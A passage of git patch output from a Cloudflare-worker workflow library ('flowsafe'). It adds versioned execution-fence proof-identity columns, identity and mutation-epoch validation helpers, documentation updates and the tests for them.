+ it('does not expose receipts or accept malformed epoch fields', async () => { + const worker = makeWorker(); + const { env, ctx } = makeEnv(); + env.MAINTENANCE_ADMIN_SECRET = ADMIN_SECRET; + const command = { + expected: 'open', + next: 'open', + expectedMutationEpoch: 0, + expectedRevision: 0, + }; + for (const invalid of [ + { expectedMutationEpoch: '0' }, + { expectedMutationEpoch: null }, + { expectedRevision: '0' }, + { expectedRevision: -1 }, + { expectedRevision: 0.5 }, + { advanceMutationEpoch: 'true' }, + { advanceMutationEpoch: null }, + ]) { + const response = await worker.fetch( + fenceRequest({ method: 'POST', body: { ...command, ...invalid } }), + env, + ctx, + ); + expect(response.status).toBe(400); + expect(await response.json()).toMatchObject({ + reason: { code: 'INVALID_EXECUTION_FENCE_REQUEST' }, + }); + } + const response = await worker.fetch( + fenceRequest({ method: 'POST', body: command }), + env, + ctx, + ); + expect(await response.json()).toEqual({ + state: 'open', + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 1, }); }); diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.ts index 99ee3324..f64e2b85 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.ts @@ -972,13 +972,19 @@ async function executionFenceAdminResponse( expected?: unknown; next?: unknown; proofKey?: unknown; + expectedMutationEpoch?: unknown; + expectedRevision?: unknown; + advanceMutationEpoch?: unknown; }; const reading = await fence.transition({ expected: assertExecutionFenceState(body.expected, 'expected'), next: assertExecutionFenceState(body.next, 'next'), ...(body.proofKey === undefined ? {} : { proofKey: body.proofKey }), + expectedMutationEpoch: body.expectedMutationEpoch, + expectedRevision: body.expectedRevision, + advanceMutationEpoch: body.advanceMutationEpoch, }); - return json({ state: reading.state }); + return json(executionFenceReadingPayload(reading)); } catch (error) { if (error instanceof DoStatusError) { return json( diff --git a/packages/flowsafe/src/host-kit/index.ts b/packages/flowsafe/src/host-kit/index.ts index 137e6d9b..630f9b1c 100644 --- a/packages/flowsafe/src/host-kit/index.ts +++ b/packages/flowsafe/src/host-kit/index.ts @@ -14,6 +14,12 @@ // `@proofoftech/flowsafe/host-kit/module` — which only authors (who already // depend on breakwater for their connectors) need to reach for. See module.ts. +export { + type ExecutionFenceReading, + type ExecutionFenceTransition, + type ExecutionFenceVersionedReading, + executionFenceReadingPayload, +} from '../do-runner/execution-fence.js'; export { type BoundedBodyResult, readBoundedBody, diff --git a/packages/flowsafe/src/wiring-census.test.ts b/packages/flowsafe/src/wiring-census.test.ts index 5218cfb9..377f0634 100644 --- a/packages/flowsafe/src/wiring-census.test.ts +++ b/packages/flowsafe/src/wiring-census.test.ts @@ -289,6 +289,11 @@ describe('wiring census', () => { // #then — identical readings. This is the premise the whole census rests // on: requiring the field costs a database-less host nothing but the words. expect(written).toEqual(absent); - expect(written).toEqual({ state: 'open' }); + expect(written).toEqual({ + state: 'open', + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 0, + }); }); }); From 996eec8bf7b32463b29ad5a7418dbe19647e93c8 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 6 Sep 2026 04:39:14 +0400 Subject: [PATCH 076/169] feat(flowsafe): add execution identity and binding representations --- .changeset/sticky-fence-epochs.md | 4 + docs/deployment-reference.md | 2 + docs/do-runner-design.md | 23 +- .../test/plain-worker-backend.test.ts | 3 + .../workers-for-platforms-backend.test.ts | 3 + .../test/wrangler-loop-backend.test.ts | 3 + packages/flowsafe/README.md | 2 + .../deployment-identity-protocol.d.mts | 6 +- .../flowsafe/deployment-identity-protocol.mjs | 50 +- .../scripts/provisioning-pack-test.mjs | 68 +- .../scripts/seed-deployment-identity.test.mjs | 70 +- .../src/do-runner/deployment-identity.test.ts | 56 ++ .../src/do-runner/execution-admission.test.ts | 329 +++++++++ .../src/do-runner/execution-admission.ts | 275 ++++++++ .../src/do-runner/execution-fence.test.ts | 422 ++++++++++-- .../flowsafe/src/do-runner/execution-fence.ts | 51 +- packages/flowsafe/src/do-runner/index.ts | 22 + .../src/do-runner/start-idempotency.test.ts | 627 ++++++++++++++++++ .../src/do-runner/start-idempotency.ts | 374 +++++++++-- .../src/execution-entry-matrix.test.ts | 7 + .../src/host-kit/flowsafe-worker.test.ts | 102 +++ packages/flowsafe/src/host-kit/index.ts | 21 + 22 files changed, 2378 insertions(+), 142 deletions(-) create mode 100644 packages/flowsafe/src/do-runner/execution-admission.test.ts create mode 100644 packages/flowsafe/src/do-runner/execution-admission.ts diff --git a/.changeset/sticky-fence-epochs.md b/.changeset/sticky-fence-epochs.md index 3bef12c1..6d49a3a0 100644 --- a/.changeset/sticky-fence-epochs.md +++ b/.changeset/sticky-fence-epochs.md @@ -5,3 +5,7 @@ Add versioned execution-fence administration with artifact epochs, a sticky epoch requirement, transition revisions, and exact last-command retry receipts. Admin reads and successful transitions return the complete versioned reading without exposing receipts. Legacy commands remain compatible only while the requirement is optional; proof metadata can bind to an admitted epoch and revision. Upgrade supported legacy fence schemas additively without changing existing state, proof metadata, or timestamps. A missing row in a new-format schema now fails closed instead of reopening the deployment. Administrative metadata alone does not enforce final run or schedule writes; activation requires every writer to support final-write epoch checks. + +Add execution-identity and mutation-epoch validation/header helpers through do-runner and host-kit. Identity normalizers return frozen copies, preserve explicit unfenced namespaces, and validate identifiers without granting authority. Preserve the existing execution-fence unreadable error constructor across import paths. + +Read additive reservation bindings and D1 proof identities, preserving active fence metadata during schema upgrades. Admin responses omit proof identity and tokens. Current reservation writes remain legacy-null, and Runtime provenance, lifecycle APIs, and run-ID-based predicates retain their existing behavior; automatic generation binding and final-write enforcement are not enabled by these additions. diff --git a/docs/deployment-reference.md b/docs/deployment-reference.md index a1e6a7c7..838bbe19 100644 --- a/docs/deployment-reference.md +++ b/docs/deployment-reference.md @@ -169,6 +169,8 @@ Legacy `{ expected, next, proofKey? }` requests remain valid only before activat Administrative metadata does not establish final-write run or schedule protection. Do not activate the requirement until every writer supports final-write epoch checks. Use an authoritative D1 binding for administration and ordinary reads; an unconstrained replica facade cannot satisfy the store's freshness contract. The [runner design](do-runner-design.md#execution-fence-and-start-reservations) describes schema recovery, proof binding, and the legacy-absence limitation. +Additive proof-identity columns preserve an active fence's epoch, revision, receipt, state, and timestamps. A complete stored proof identity includes its D1 prefix, workflow, run, and token. Admin reads and conflicts expose neither this identity nor its token; a newly applied admin command clears it with the proof-run binding, while an exact retry preserves it. These schema/read fields do not enable generation-aware execution checks. The [identity-data helpers](do-runner-design.md#validate-execution-identity-data) validate representations without changing caller authority. + `GET /admin/inventory` returns the category index. Add `?category=&cursor=&limit=` to page one category. Prove a drain only from `draining`: sweep every work category to empty twice, at least 60 seconds apart. Standing categories remain present by design, and persisted idle signals deliberately carry across the migration. ### Advanced routes diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md index b3b688c9..18e007f5 100644 --- a/docs/do-runner-design.md +++ b/docs/do-runner-design.md @@ -166,7 +166,7 @@ Flowsafe does not maintain a parallel custom workflow state object. `flowsafe_execution_fence` stores the deployment's singleton fence state, optional proof key, bound proof run, mutation epoch, sticky epoch requirement, and transition revision. The epoch identifies artifact authority; an explicit `advanceMutationEpoch: true` increments it once and enables the requirement in the same compare-and-set. Every newly applied administrative command increments the revision, including same-state and legacy commands. Ordinary lock, proof, and reopen commands preserve the epoch and requirement. -A missing pre-0.20 table or empty five-column legacy table reads as optional `open`, with epoch and revision zero. Initialization seeds only that legacy shape, then adds four metadata columns in order. Interrupted additive upgrades resume without changing the state, proof fields, or timestamp. A missing row once any metadata column exists is unreadable, never implicitly open or refilled. Readers allow one bounded re-observation when an empty legacy row read races a concurrent schema upgrade. Deleting the whole table or restoring an old-format backup is indistinguishable from genuine legacy absence. +A missing pre-0.20 table or empty five-column legacy table reads as optional `open`, with epoch and revision zero. Initialization seeds only that legacy shape, then adds mutation and proof metadata columns in order. Interrupted additive upgrades resume without changing the state, proof fields, or timestamp. A missing row once any metadata column exists is unreadable, never implicitly open or refilled. Readers allow one bounded re-observation when an empty legacy row read races a concurrent schema upgrade. Deleting the whole table or restoring an old-format backup is indistinguishable from genuine legacy absence. Store reads are uncached and require an authoritative database binding, not an unconstrained read replica. Metadata versioning is administrative state, not a guarantee that every run or schedule writer enforces it. Activate the epoch requirement only after every writer supports final-write epoch checks; administrative support alone is insufficient. @@ -174,6 +174,27 @@ Store reads are uncached and require an authoritative database binding, not an u `flowsafe_start_idempotency` stores owner, target, server-minted run ID, reservation state, and timestamps. The claim from `reserved` to `started` is the cross-isolate serializer. Terminal run cleanup pairs snapshot and reservation retention so a spent key remains distinguishable from a fresh key until its configured horizon expires. +Reservation reads also return a `binding`: `legacy` for an unassociated old-format row, `unbound` for a modern row awaiting association, or `bound` with an execution identity. A bound identity has `tablePrefix`, `workflowId`, `runId`, and `startToken`. A null prefix explicitly asserts no D1 namespace; it differs from the empty string, which identifies the default D1 tables. Schema upgrades preserve existing rows and add nullable binding columns. Current reservation writes still produce legacy bindings; automatic generation binding is not enabled. + +The fence can retain a complete D1 proof identity alongside `proofRunId`. Store readings expose it as `proofExecution`; admin JSON excludes that identity and its token. Adding its nullable columns preserves active epochs, revisions, receipts, proof fields, and timestamps. Provisioning validates structural schema metadata; Runtime additionally validates proof identifiers and canonical prefixes. Provisioning does not repair corrupt identity or receipt bytes. These representations do not change the current run-ID-based execution predicates. + +### Validate execution identity data + +The `do-runner` and `host-kit` entry points export identity and mutation-epoch helpers. The normalizers copy and freeze validated data; they do not authenticate a caller or establish execution authority: + +| Helper | Result | +| --- | --- | +| `normalizeRunExecutionIdentity` | Validates workflow/run/token fields and normalizes a string prefix to lowercase, preserving explicit null | +| `normalizeD1RunExecutionIdentity` | Requires a string D1 prefix, including the empty default prefix | +| `normalizeStartIdentity` | Validates the original principal and a workflow or agent target; agent targets require a thread | +| `normalizeStartExecutionIdentity` | Validates both identity shapes without inferring an owner or root/child relationship | +| `normalizeMutationEpoch` | Accepts undefined or a nonnegative safe-integer number without string coercion | +| `assertMutationEpoch` | Compares an already-observed fence reading to a supplied epoch; it does not make a later write atomic | + +Invalid identity or epoch input returns the corresponding `INVALID_EXECUTION_IDENTITY` or `INVALID_MUTATION_EPOCH` error with status 400. An active epoch mismatch returns `MUTATION_EPOCH_MISMATCH` with status 409 and a `missing`, `stale`, or `future` classification. Malformed reading metadata remains `EXECUTION_FENCE_UNREADABLE` with status 503. + +`MUTATION_EPOCH_HEADER`, `mutationEpochFromHeader`, and `stampMutationEpoch` encode canonical decimal epochs for a trusted internal channel. Authenticate that channel before interpreting its header. The helpers do not add host forwarding or request enforcement; activation still requires final-write support from every writer. + ### Snapshot provenance Flowsafe stores trusted run provenance under reserved request-context keys in the same authoritative snapshot as the workflow state. Provenance records the initiating actor, a per-leg attempt token, and a monotonic ordinal per run and step: diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index d5644e78..ecba7aa4 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -61,6 +61,9 @@ it('seeds optional FS8 metadata through string-bound provider SQL', async () => transition_revision: 0, mutation_epoch: 0, require_mutation_epoch: 0, + proof_table_prefix: null, + proof_workflow_id: null, + proof_start_token: null, }, ]); expect(api.queries.length).toBeGreaterThan(0); diff --git a/packages/fleet-control/test/workers-for-platforms-backend.test.ts b/packages/fleet-control/test/workers-for-platforms-backend.test.ts index 957f413f..b4847870 100644 --- a/packages/fleet-control/test/workers-for-platforms-backend.test.ts +++ b/packages/fleet-control/test/workers-for-platforms-backend.test.ts @@ -2775,6 +2775,9 @@ describe('WorkersForPlatformsBackend', () => { transition_revision: 0, mutation_epoch: 0, require_mutation_epoch: 0, + proof_table_prefix: null, + proof_workflow_id: null, + proof_start_token: null, }, ]); expect(client.mutationFenceEntries).toBe(1); diff --git a/packages/fleet-control/test/wrangler-loop-backend.test.ts b/packages/fleet-control/test/wrangler-loop-backend.test.ts index e09e948c..0e233cbc 100644 --- a/packages/fleet-control/test/wrangler-loop-backend.test.ts +++ b/packages/fleet-control/test/wrangler-loop-backend.test.ts @@ -1871,6 +1871,9 @@ export default { transition_revision: 0, mutation_epoch: 0, require_mutation_epoch: 0, + proof_table_prefix: null, + proof_workflow_id: null, + proof_start_token: null, }, ]); expect(fenceBindings).toEqual([ diff --git a/packages/flowsafe/README.md b/packages/flowsafe/README.md index 6c0494ee..85b1b4c2 100644 --- a/packages/flowsafe/README.md +++ b/packages/flowsafe/README.md @@ -306,6 +306,8 @@ Provisioning requires `--initial-fence-state open` or `--initial-fence-state mig Administrative readings include `mutationEpoch`, `requireMutationEpoch`, and `transitionRevision`. Upgraded commands compare expected state, epoch, and revision; exact retries preserve proof bindings and timestamps while that command remains the last applied command. Advancing the epoch also sets its sticky requirement; ordinary lock, proof, and reopen transitions preserve both. These fields describe administrative state only: activate the requirement only after every run and schedule writer supports final-write epoch checks. See the [administration contract](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/deployment-reference.md#control-plane-routes) for request fields, compatibility, and conflicts. +The `do-runner` and `host-kit` entry points export `normalizeRunExecutionIdentity`, `normalizeD1RunExecutionIdentity`, `normalizeStartIdentity`, `normalizeStartExecutionIdentity`, and mutation-epoch validation/header helpers. They copy validated identity data without authenticating it. String D1 prefixes normalize to lowercase; null explicitly means no D1 namespace and differs from the empty default prefix. Reservation reads expose legacy, unbound, or bound metadata, while current writes still create legacy bindings. Stored `proofExecution` remains server-side and is omitted from admin JSON. These schema/helper APIs do not enable runtime generation checks or final-write enforcement. + Use `GET /admin/inventory` while the fence remains `draining`. A drain is proven only after every work category is empty across two complete sweeps at least 60 seconds apart. Readings are point-in-time observations rather than snapshots and can move in either direction while draining admits work. Empty results cannot over-count, and keyset pagination never skips a row that existed before the sweep began. If you need a hard guarantee, re-sweep once after transitioning to `migration-locked`: an empty post-lock sweep is conclusive; a non-empty one means work is still outstanding, either because it entered after the proof or because the lock parked it before it finished. Return to `draining` and repeat the proof. An inventory read taken under `migration-locked` measures what the fence parked rather than what the deployment would otherwise be doing. Schedules and signal subscriptions are standing configuration and need not empty. Persisted idle signals are deliberately unenumerable and carry into the replacement deployment. ### Runtime ids are opaque diff --git a/packages/flowsafe/deployment-identity-protocol.d.mts b/packages/flowsafe/deployment-identity-protocol.d.mts index 6a7dafa8..bdb91f98 100644 --- a/packages/flowsafe/deployment-identity-protocol.d.mts +++ b/packages/flowsafe/deployment-identity-protocol.d.mts @@ -33,6 +33,7 @@ export const DEPLOYMENT_SENTINEL_COLUMNS: readonly Readonly<{ export const EXECUTION_FENCE_TABLE: 'flowsafe_execution_fence'; /** The fence row's fixed primary key — one deployment, one database, one row. */ export const EXECUTION_FENCE_ROW_ID: 'deployment'; +export const EXECUTION_FENCE_CURRENT_SCHEMA_STAGE: 7; /** Every fence state, ordered from most to least permissive. */ export const EXECUTION_FENCE_STATES: readonly [ 'open', @@ -51,13 +52,16 @@ export const INITIAL_EXECUTION_FENCE_STATES: readonly [ */ export const EXECUTION_FENCE_DDL: string; -export type ExecutionFenceSchemaStage = 0 | 1 | 2 | 3 | 4; +export type ExecutionFenceSchemaStage = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7; export interface ExecutionFenceMutationMetadata { readonly mutationEpoch: number; readonly requireMutationEpoch: boolean; readonly transitionRevision: number; readonly lastTransitionRequest: string | null; readonly schemaStage: ExecutionFenceSchemaStage; + readonly proofTablePrefix: string | null; + readonly proofWorkflowId: string | null; + readonly proofStartToken: string | null; } export function readExecutionFenceSchemaProtocol( execute: DeploymentIdentityProtocolExecutor, diff --git a/packages/flowsafe/deployment-identity-protocol.mjs b/packages/flowsafe/deployment-identity-protocol.mjs index 06592d76..90b34157 100644 --- a/packages/flowsafe/deployment-identity-protocol.mjs +++ b/packages/flowsafe/deployment-identity-protocol.mjs @@ -51,6 +51,7 @@ export const EXECUTION_FENCE_TABLE = 'flowsafe_execution_fence'; * a constant. */ export const EXECUTION_FENCE_ROW_ID = 'deployment'; +export const EXECUTION_FENCE_CURRENT_SCHEMA_STAGE = 7; /** Every fence state, ordered from most to least permissive. */ export const EXECUTION_FENCE_STATES = Object.freeze([ @@ -88,6 +89,9 @@ const EXECUTION_FENCE_ADDITIONS = Object.freeze([ `require_mutation_epoch INTEGER NOT NULL DEFAULT 0 CHECK (typeof(require_mutation_epoch) = 'integer' AND require_mutation_epoch IN (0, 1))`, + 'proof_table_prefix TEXT', + 'proof_workflow_id TEXT', + 'proof_start_token TEXT', ]); const EXECUTION_FENCE_COLUMNS = Object.freeze([ ['id', 'TEXT', 0, 1, null], @@ -99,6 +103,9 @@ const EXECUTION_FENCE_COLUMNS = Object.freeze([ ['transition_revision', 'INTEGER', 1, 0, '0'], ['mutation_epoch', 'INTEGER', 1, 0, '0'], ['require_mutation_epoch', 'INTEGER', 1, 0, '0'], + ['proof_table_prefix', 'TEXT', 0, 0, null], + ['proof_workflow_id', 'TEXT', 0, 0, null], + ['proof_start_token', 'TEXT', 0, 0, null], ]); const EXECUTION_FENCE_BOOTSTRAP_DDL = `CREATE TABLE IF NOT EXISTS ${EXECUTION_FENCE_TABLE} (${EXECUTION_FENCE_BASE_COLUMNS} )`; @@ -380,6 +387,36 @@ export function decodeExecutionFenceMutationMetadata(row) { const revision = row.transition_revision; const epoch = row.mutation_epoch; const required = row.require_mutation_epoch; + const proofNames = [ + 'proof_table_prefix', + 'proof_workflow_id', + 'proof_start_token', + ]; + const proofValues = proofNames.map((name) => + Object.hasOwn(row, name) ? row[name] : null, + ); + if ( + stage < EXECUTION_FENCE_CURRENT_SCHEMA_STAGE && + proofValues.some((value) => value !== null) + ) { + throw malformedExecutionFence('partial proof identity is not null'); + } + if ( + proofValues.some((value) => value !== null) && + (proofValues.some((value) => typeof value !== 'string') || + row.state !== 'proof-only' || + typeof row.proof_key !== 'string' || + row.proof_key.length === 0 || + typeof row.proof_run_id !== 'string' || + row.proof_run_id.length === 0) + ) { + throw malformedExecutionFence('proof identity is inconsistent'); + } + const proofMetadata = { + proofTablePrefix: proofValues[0], + proofWorkflowId: proofValues[1], + proofStartToken: proofValues[2], + }; if (stage < 4) { if ( (stage >= 1 && receipt !== null) || @@ -396,6 +433,7 @@ export function decodeExecutionFenceMutationMetadata(row) { transitionRevision: 0, lastTransitionRequest: null, schemaStage: stage, + ...proofMetadata, }; } if ( @@ -418,6 +456,7 @@ export function decodeExecutionFenceMutationMetadata(row) { transitionRevision: revision, lastTransitionRequest: receipt, schemaStage: stage, + ...proofMetadata, }; } @@ -477,7 +516,11 @@ export async function initializeExecutionFenceProtocol( await execute(seedExecutionFenceRow(state, seededAt)); observation = await observeExecutionFence(execute, false); } - for (let index = observation.stage; index < 4; index += 1) { + for ( + let index = observation.stage; + index < EXECUTION_FENCE_CURRENT_SCHEMA_STAGE; + index += 1 + ) { const stage = await readExecutionFenceSchemaProtocol(execute); if (stage === undefined || stage < index) { throw malformedExecutionFence('schema regressed during initialization'); @@ -501,7 +544,10 @@ export async function initializeExecutionFenceProtocol( } } const final = await observeExecutionFence(execute, false); - if (final.stage !== 4 || final.rowStage !== 4) { + if ( + final.stage !== EXECUTION_FENCE_CURRENT_SCHEMA_STAGE || + final.rowStage !== EXECUTION_FENCE_CURRENT_SCHEMA_STAGE + ) { throw malformedExecutionFence( 'initialization did not reach the current schema', ); diff --git a/packages/flowsafe/scripts/provisioning-pack-test.mjs b/packages/flowsafe/scripts/provisioning-pack-test.mjs index 8095586b..44c04373 100644 --- a/packages/flowsafe/scripts/provisioning-pack-test.mjs +++ b/packages/flowsafe/scripts/provisioning-pack-test.mjs @@ -79,6 +79,8 @@ const fenceColumns = [ ['updated_at', 'INTEGER', 1, 0, null], ['last_transition_request', 'TEXT', 0, 0, null], ['transition_revision', 'INTEGER', 1, 0, '0'], ['mutation_epoch', 'INTEGER', 1, 0, '0'], ['require_mutation_epoch', 'INTEGER', 1, 0, '0'], + ['proof_table_prefix', 'TEXT', 0, 0, null], ['proof_workflow_id', 'TEXT', 0, 0, null], + ['proof_start_token', 'TEXT', 0, 0, null], ]; const schema = \`CREATE TABLE flowsafe_deployment ( id INTEGER PRIMARY KEY CHECK (id = 1), @@ -108,7 +110,7 @@ if (sql.startsWith('SELECT name, sql')) { } else if (sql.startsWith('ALTER TABLE ' + FENCE + ' ADD COLUMN ')) { const name = sql.slice(('ALTER TABLE ' + FENCE + ' ADD COLUMN ').length).split(' ')[0]; if (!state.fenceRow || name !== fenceColumns[5 + state.fenceStage]?.[0]) throw new Error('unexpected fence ALTER stage'); - state.fenceRow[name] = state.fenceStage === 0 ? null : 0; + state.fenceRow[name] = fenceColumns[5 + state.fenceStage][4] === null ? null : 0; state.fenceStage += 1; results = []; } else if (sql.startsWith('INSERT OR IGNORE INTO ' + FENCE)) { @@ -264,8 +266,13 @@ import { INITIAL_EXECUTION_FENCE_STATES, deploymentIdentityHeaders, } from '@proofoftech/flowsafe/deployment-identity-protocol'; +const { ExecutionFenceUnreadableError: LegacyUnreadable } = await import(new URL('./node_modules/@proofoftech/flowsafe/dist/do-runner/execution-fence.js', import.meta.url)); +const { ExecutionFenceUnreadableError: HelperUnreadable, normalizeD1RunExecutionIdentity } = await import(new URL('./node_modules/@proofoftech/flowsafe/dist/do-runner/execution-admission.js', import.meta.url)); const secret = 'x'.repeat(32); +assert.equal(LegacyUnreadable, HelperUnreadable); +assert.ok(new LegacyUnreadable('test') instanceof HelperUnreadable); +assert.deepEqual(normalizeD1RunExecutionIdentity({ tablePrefix: 'Tenant_', workflowId: 'workflow', runId: 'run', startToken: 'generation' }), { tablePrefix: 'tenant_', workflowId: 'workflow', runId: 'run', startToken: 'generation' }); assert.equal(typeof EXECUTION_FENCE_DDL, 'string'); assert.equal(EXECUTION_FENCE_ROW_ID, 'deployment'); assert.deepEqual(EXECUTION_FENCE_STATES, [ @@ -311,6 +318,8 @@ import { type ExecutionFenceTransition, executionFenceReadingPayload, } from '@proofoftech/flowsafe/host-kit'; +import * as RunnerAdmission from '@proofoftech/flowsafe/do-runner'; +import * as HostAdmission from '@proofoftech/flowsafe/host-kit'; const secret = 'x'.repeat(32); const headers: Record = deploymentIdentityHeaders(secret); @@ -339,6 +348,50 @@ async function checkFenceTypes(store: ExecutionFenceStore) { return { epoch, hostLegacyReading }; } void checkFenceTypes; +const physical = { tablePrefix: '', workflowId: 'workflow', runId: 'run', startToken: 'generation' }; +const logical = { owner: { kind: 'human', id: 'owner' }, target: { kind: 'workflow', id: 'workflow' } }; +const runIdentity: RunnerAdmission.RunExecutionIdentity = RunnerAdmission.normalizeRunExecutionIdentity(physical); +const hostRunIdentity: HostAdmission.RunExecutionIdentity = runIdentity; +const d1Identity: RunnerAdmission.D1RunExecutionIdentity = RunnerAdmission.normalizeD1RunExecutionIdentity(physical); +const hostD1Identity: HostAdmission.D1RunExecutionIdentity = d1Identity; +const startIdentity: RunnerAdmission.StartIdentity = RunnerAdmission.normalizeStartIdentity(logical); +const hostStartIdentity: HostAdmission.StartIdentity = startIdentity; +const executionIdentity: RunnerAdmission.StartExecutionIdentity = RunnerAdmission.normalizeStartExecutionIdentity({ ...physical, ...logical }); +const hostExecutionIdentity: HostAdmission.StartExecutionIdentity = executionIdentity; +const d1StartIdentity: RunnerAdmission.D1StartExecutionIdentity = { ...d1Identity, ...startIdentity }; +const hostD1StartIdentity: HostAdmission.D1StartExecutionIdentity = d1StartIdentity; +const epochContext: RunnerAdmission.MutationEpochContext = { mutationEpoch: 0 }; +const hostEpochContext: HostAdmission.MutationEpochContext = epochContext; +for (const api of [RunnerAdmission, HostAdmission]) { + api.normalizeRunExecutionIdentity(physical); + api.normalizeD1RunExecutionIdentity(physical); + api.normalizeStartIdentity(logical); + api.normalizeStartExecutionIdentity({ ...physical, ...logical }); + api.assertMutationEpoch({ mutationEpoch: 0, requireMutationEpoch: false }, api.normalizeMutationEpoch(0)); + const wire = new Headers(); + api.stampMutationEpoch(wire, 0); + api.mutationEpochFromHeader(wire.get(api.MUTATION_EPOCH_HEADER)); + new api.InvalidExecutionIdentityError('runId'); + new api.InvalidMutationEpochError(); + new api.MutationEpochMismatchError('missing', 1); + new api.ExecutionFenceUnreadableError('test'); +} +const legacyReservation: RunnerAdmission.StartReservation = { + key: 'key', owner: { kind: 'human', id: 'owner' }, targetKind: 'workflow', + targetId: 'workflow', runId: 'run', state: 'reserved', createdAt: 0, updatedAt: 0, +}; +async function checkReservationTypes(store: RunnerAdmission.StartIdempotencyStore) { + const observed: RunnerAdmission.StartReservationReading | undefined = await store.read('key'); + const binding: RunnerAdmission.StartReservationBinding | undefined = observed?.binding; + const reserved = await store.reserve({ key: 'key', owner: legacyReservation.owner, targetKind: 'workflow', targetId: 'workflow', mintRunId: () => 'run' }); + const kind: 'legacy' | 'unbound' | 'bound' = reserved.reservation.binding.kind; + await store.claim('key', 'run'); + await store.release('key', 'run'); + await store.settleRun('run'); + RunnerAdmission.admitsExistingRun({ state: 'proof-only', proofRunId: 'run' }, 'run'); + return { binding, kind }; +} +void [hostRunIdentity, hostD1Identity, hostStartIdentity, hostExecutionIdentity, hostD1StartIdentity, hostEpochContext, checkReservationTypes]; `, ); writeFileSync( @@ -593,12 +646,23 @@ void checkFenceTypes; : [], ); if ( - fenceAlters.length !== 4 || + fenceAlters.length !== 7 || fenceAlters.some((index) => index <= fenceRowAt) ) { throw new Error('fence columns were not added after the initial row'); } const seededState = JSON.parse(readFileSync(statePath, 'utf8')).fenceState; + const seededFence = JSON.parse(readFileSync(statePath, 'utf8')); + if ( + seededFence.fenceStage !== 7 || + ['proof_table_prefix', 'proof_workflow_id', 'proof_start_token'].some( + (name) => seededFence.fenceRow[name] !== null, + ) + ) { + throw new Error( + 'packed provisioning did not initialize null proof identity', + ); + } if (seededState !== 'migration-locked') { throw new Error( `packed provisioning CLI seeded fence state '${seededState}', expected 'migration-locked'`, diff --git a/packages/flowsafe/scripts/seed-deployment-identity.test.mjs b/packages/flowsafe/scripts/seed-deployment-identity.test.mjs index f225f415..fb286845 100644 --- a/packages/flowsafe/scripts/seed-deployment-identity.test.mjs +++ b/packages/flowsafe/scripts/seed-deployment-identity.test.mjs @@ -206,6 +206,9 @@ describe('deployment identity provisioning CLI', () => { transition_revision: 0, mutation_epoch: 0, require_mutation_epoch: 0, + proof_table_prefix: null, + proof_workflow_id: null, + proof_start_token: null, }); }); @@ -231,6 +234,67 @@ describe('deployment identity provisioning CLI', () => { ).toHaveLength(1); }); + it('preserves active proof schema prefixes identically through runtime and CLI', async () => { + const proofColumns = [ + 'proof_table_prefix', + 'proof_workflow_id', + 'proof_start_token', + ]; + for (const stage of [4, 5, 6]) { + const runtimeSqlite = openSqlite(); + const cliSqlite = openSqlite(); + for (const sqlite of [runtimeSqlite, cliSqlite]) { + const fence = new ExecutionFenceStore(sqliteUnitDatabase(sqlite), { + now: () => 17, + }); + const admitted = await fence.transition({ + expected: 'open', + next: 'proof-only', + proofKey: 'key', + expectedMutationEpoch: 0, + expectedRevision: 0, + advanceMutationEpoch: true, + }); + await fence.recordProofRun('key', 'run', admitted); + for (const name of proofColumns.slice(stage - 4).reverse()) + sqlite.exec(`ALTER TABLE ${FENCE_TABLE} DROP COLUMN ${name}`); + } + const before = cliSqlite.prepare(`SELECT * FROM ${FENCE_TABLE}`).get(); + await seedDeploymentIdentity( + sqliteUnitDatabase(runtimeSqlite), + 'acme', + 'open', + ); + const statements = []; + await provisionDeploymentIdentity( + OPTIONS, + sqliteQuery(cliSqlite, (sql) => statements.push(sql)), + ); + expect(fenceSnapshot(cliSqlite)).toEqual(fenceSnapshot(runtimeSqlite)); + expect(cliSqlite.prepare(`SELECT * FROM ${FENCE_TABLE}`).get()).toEqual({ + ...before, + proof_table_prefix: null, + proof_workflow_id: null, + proof_start_token: null, + }); + expect( + statements.filter((sql) => + sql.startsWith(`ALTER TABLE ${FENCE_TABLE}`), + ), + ).toHaveLength(7 - stage); + const after = statements.length; + await provisionDeploymentIdentity( + OPTIONS, + sqliteQuery(cliSqlite, (sql) => statements.push(sql)), + ); + expect( + statements + .slice(after) + .filter((sql) => /^(CREATE|INSERT|UPDATE|ALTER)/.test(sql)), + ).toEqual([]); + } + }); + it('preserves the runtime seed vocabulary and the provisioning birth-state restriction', async () => { for (const state of ['draining', 'proof-only']) { const sqlite = openSqlite(); @@ -366,7 +430,7 @@ describe('deployment identity provisioning CLI', () => { // Sentinel DDL, ownership insert, then the fence: the fence DDL runs LAST // so it can never add a table to a database whose ownership is still being // decided. - expect(fake.mutations).toHaveLength(8); + expect(fake.mutations).toHaveLength(11); expect(fake.mutations[0]).toMatch( /^CREATE TABLE IF NOT EXISTS flowsafe_deployment/, ); @@ -508,7 +572,7 @@ describe('deployment identity provisioning CLI', () => { await provisionDeploymentIdentity(OPTIONS, fake.query); - expect(fake.mutations).toHaveLength(7); + expect(fake.mutations).toHaveLength(10); expect(fake.mutations[0]).toMatch( /^INSERT OR IGNORE INTO flowsafe_deployment/, ); @@ -546,7 +610,7 @@ describe('deployment identity provisioning CLI', () => { ])('allows the exact D1-owned %s table', async (name) => { const fake = databaseQuery([{ name, sql: 'CREATE' }]); await provisionDeploymentIdentity(OPTIONS, fake.query); - expect(fake.mutations).toHaveLength(8); + expect(fake.mutations).toHaveLength(11); }); it('allows a pre-existing execution fence table left by an interrupted pass', async () => { diff --git a/packages/flowsafe/src/do-runner/deployment-identity.test.ts b/packages/flowsafe/src/do-runner/deployment-identity.test.ts index e69ea499..c54970ff 100644 --- a/packages/flowsafe/src/do-runner/deployment-identity.test.ts +++ 